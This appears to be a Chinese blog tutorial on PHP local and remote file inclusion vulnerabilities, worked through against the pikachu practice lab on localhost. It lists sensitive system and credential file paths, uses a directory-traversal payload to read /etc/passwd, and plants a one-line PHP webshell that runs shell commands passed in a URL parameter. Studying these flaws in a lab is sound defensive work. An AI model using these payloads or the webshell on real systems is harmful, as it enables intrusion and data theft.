• 文件包含漏洞


    0X00:前言

    web安全之文件包含漏洞,本地包含漏洞和远程包含漏洞,主要原因是后端没有对前端传来的文件名进行限制,前端用户可以随意修改文件名,本后端执行。

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码

    产生背景:开发过程中,多个文件都会用到的代码,通常会放到一个单独的文件中,用到时再包含进来。当把包含的文件写死在程序中时,该漏洞是不存在的,但很多情况都会动态的去包含所需的文件,这时候则会产生文件包含漏洞

    本地包含就是文件名为本地的一些秘密文件(如/etc/password)

    远程文件包含,是PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,执行攻击者服务器上的恶意脚本

    include和require语句相同,除了错误处理方法方面:

    -include 只会生成警告(E_WARNING),并且脚本会继续

    -require 会生成致命错误(E_COMPILE_ERROR)并停止脚本

    include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次

    require_once:和 require 类似,不同处在于 require_once 只导入一次

    0X01:本地文件包含

    (1)常见敏感路径

    测试环境pikachu

    Windows系统

    c:oot.ini // 查看系统版本

    c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

    c:windows epairsam // 存储Windows系统初次安装的密码

    c:ProgramFilesmysqlmy.ini // MySQL配置

    c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

    c:windowsphp.ini // php 配置信息

    Linux/Unix系统

    /etc/passwd // 账户信息

    /etc/shadow // 账户密码文件

    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

    /usr/local/app/php5/lib/php.ini // PHP相关配置

    /etc/httpd/conf/httpd.conf // Apache配置文件

    /etc/my.conf // mysql 配置文件

    (2)

     url:http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4

    发现改变的是filename参数

    后端代码

    if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
    // //安全的写法,使用白名单,严格指定包含的文件名
    // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
    // include "include/$filename";
    // }
    }

    变量传进来直接包含,没做任何的安全限制

    将filename换成../../../../etc/passwd  liunx后台固定配置文件;../../../../../是目录跳转

    对应的windows可以换成其他文件

    小彩蛋file6

    0X02:远程文件包含

    (1)

    allow_url_fopen = On(默认打开)

    allow_url_include = On(默认关闭)

    到php.ini中打开,实际情况应该测试站点自己打开,或者强制打开

    (2)在远程站点设置攻击脚本

    目的是 在测试站点目录下生成一个yijuhua.php,内容是<?php system($_GET[x]);?>

    正常页面

    (3)将filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt之前:

    (4)将filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt之后:

     

    OK目录中出现了yijuhua.php,攻击成功

    (5)如何利用呢

    pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt&submit=提交

    一般情况下和fi_remote.php在同一个目录

    yijuhua.php?x=dir

    x可以是其他命令ipconfig等等

    0Xff:总结

    https://www.freebuf.com/articles/web/182280.html这里有篇文章,本地包含里讲了好多种,有的我学了之后在补充上。

    我觉得文件包含漏洞一般用来收集信息、上传一句话木马等,还缺乏实践。

  • 相关阅读:
    php开启伪静态(2转)
    php,apache伪静态(1转)
    sql 字段先计算后再拿比对的字段进行比对 效率提升100倍
    使用 PHP 读取文本(TXT)文件 并分页显示
    php给一张图片加上水印效果
    PHP命名空间(Namespace)的使用详解(转)
    php随机获取金山词霸每日一句
    网络报文分析利器eBPF
    这个世界变得有多复杂
    个人收藏网站推荐(一)
  • 原文地址:https://www.cnblogs.com/liqik/p/11165955.html
Copyright © 2020-2023  润新知